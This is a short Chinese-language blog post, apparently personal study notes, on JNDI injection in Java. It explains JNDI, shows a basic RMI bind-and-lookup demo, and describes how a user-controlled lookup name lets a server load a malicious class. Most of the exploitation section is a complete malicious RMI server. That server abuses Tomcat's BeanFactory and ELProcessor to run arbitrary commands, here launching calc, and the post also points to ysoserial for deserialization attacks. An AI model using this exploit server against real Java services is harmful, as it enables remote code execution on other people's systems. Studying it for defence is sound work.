原理
JNDI是给Java应用提供命名和目录的API编程接口
可以访问的服务
- JDBC
- RMI
- LDAP
等等
jndi访问rmi的demo
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class Main {
public static void main(String[] args) throws NamingException {
Hashtable<String, String> env=new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"java.naming.factory.initial.RegistryFactory");
env.put(Context.PROVIDER_URL,"RMIurl");
InitialContext c=new InitialContext(env);
String name = "test";
int context = 114514;
c.bind(name,context);
Object o = c.lookup("test");
System.out.println(o);
}
}
将name作为一个用户请求参数传入,如果name是一个完整的url字符串,就会请求这个url,通过这一点,可以让服务器加载恶意类或者进行反序列化
利用
远程Factory类加载(低版本)
构造一个rmi服务
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String)']('calc').start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
本地Factory类加载(高版本)
利用Tomcat Server中的org.apache.nameing.factory.BeanFactory
反序列化
yso可梭
标签:java,jndi,import,new,naming,rmi,javax From: https://www.cnblogs.com/V3g3t4ble/p/17521438.html